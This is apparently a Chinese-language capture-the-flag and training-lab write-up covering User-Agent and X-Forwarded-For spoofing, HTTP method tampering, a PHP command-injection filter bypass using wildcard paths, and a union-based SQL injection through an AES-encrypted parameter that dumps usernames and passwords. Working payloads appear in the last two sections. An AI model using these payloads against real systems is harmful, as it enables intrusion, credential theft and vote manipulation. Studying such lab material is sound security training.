【墨者学院练习题】

---

前言

第二天内容没啥讲的，列举几个课堂靶场实验

---

一、浏览器信息伪造

来到页面

提示：请使用iPhone手机，在2G网络下登录微信查看!
想到修改user-agent信息，使用bp抓包修改
首先我们要先找到对应的user-agent信息，直接百度就可以找到

Mozilla/5.0 (iPhone; CPU iPhone OS 8_0 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Mobile/12A365 MicroMessenger/6.0 NetType/2G

即可获取到key

二、投票系统程序设计缺陷分析

来到页面,进入投票

我们要把ggg投到第一名，但是投一次就不能投了，进行抓包查看
根据提示，要我们了解程序员获取ip地址的方式
查找资料可发现

和X-Forwarded-For有关

增设字段，把IP设为变量进行访问，设置数字递增，投到最多为止

即可获取到key

三、HTTP动作练习

来到页面

直接抓包，看到很长的数据包，并且根据题目信息，修改为post提交方式,直接右键修改请求方式即可，注意post提交会有一个content-type字段表示提交的数据包类型

即可获取到key

四、ctf.show_红包题

来到首页

查看源码

猜测有命令执行函数
尝试输入cat …/…/…/flag,显示php代码很多过滤条件

preg_match 函数用于执行一个正则表达式匹配，如果匹配成功则报错

第一个正则字母没有过滤p,第二个正则没有过滤常见字符 ? / =
这里参考大佬的解法

#模糊匹配
?cmd=?><?=`/???/?p /???????? p.ppp`;?>
#相当于
?cmd=?><?=`/bin/cp /flag.txt p.ppp`;?>

相当于 ?>闭合前面php语句
<?= 可以替代 <? echo     (php>5.4.0)
后面的模糊匹配相当于
/bin/cp /flag.txt p.ppp  #此命令为将根目录下的文件复制到此目录下的p.ppp文件中(就是cp命令的具体路径了)
? 作为通配符，太强了 反引号内的命令会先执行
然后访问p.ppp文件就会下载，得到flag

访问p.ppp

得到flag
ctfshow{0bdca611-5284-4a38-b852-8fae7b7d9915}

五、SQL注入漏洞测试(参数加密)

首先来到页面

是一个登录框，可尝试暴力破解，sql注入等，根据提示：掌握信息泄露得方式
于是御剑扫描一下，看是否存在其他目录

扫描到一个目录

下载后可看到

<?php
header('content-type:text/html;charset=utf-8');
require_once '../config.php';
//解密过程
function decode($data){
	$td = mcrypt_module_open(MCRYPT_RIJNDAEL_128,'',MCRYPT_MODE_CBC,'');
	mcrypt_generic_init($td,'ydhaqPQnexoaDuW3','2018201920202021');
	$data = mdecrypt_generic($td,base64_decode(base64_decode($data)));
	mcrypt_generic_deinit($td);
	mcrypt_module_close($td);
	if(substr(trim($data),-6)!=='_mozhe'){
		echo '<script>window.location.href="/index.php";</script>';
	}else{
		return substr(trim($data),0,strlen(trim($data))-6);
	}
}
$id=decode($_GET['id']);
$sql="select id,title,content,time from notice where id=$id";
$info=$link->query($sql);
$arr=$info->fetch_assoc();
?>

分析php文件

分析得到：
- #该参数先进行AES加密再进行base64编码
- #因此先进行base64解码再进行AES解密
- #AES加密模式     [MCRYPT_MODE_CBC]     AES加密位数[MCRYPT_RIJNDAEL_128]    
- #AES秘钥   		[ydhaqPQnexoaDuW3]    AES偏移值[2018201920202021]

通过查看源码可发现

先将其base64解码

通过比对得到明文1_mozhe
后续sql注入就需要在这基础上修改
例如 1 and 1=2_mozhe


页面返回错误，说明是数字型注入
后续注入发现有四个字段，2，3字段会回显
最后查找用户名、密码和状态（0表示无效，1表示有效）

1 and 1=2 union select 1,CONCAT(name,'-',password,'-',status),3,4 from mozhe_Discuz_StormGroup.StormGroup_member limit 0,1_mozhe

1 and 1=2 union select 1,CONCAT(name,'-',password,'-',status),3,4 from mozhe_Discuz_StormGroup.StormGroup_member limit 1,1_mozhe

最后通过MD5解密

登录获得key值

---

总结

今天主要是讲的http的requests和response头部信息，利用bp代理去修改请求绕过限制,后续会分享一些安全例题，可以关注一下。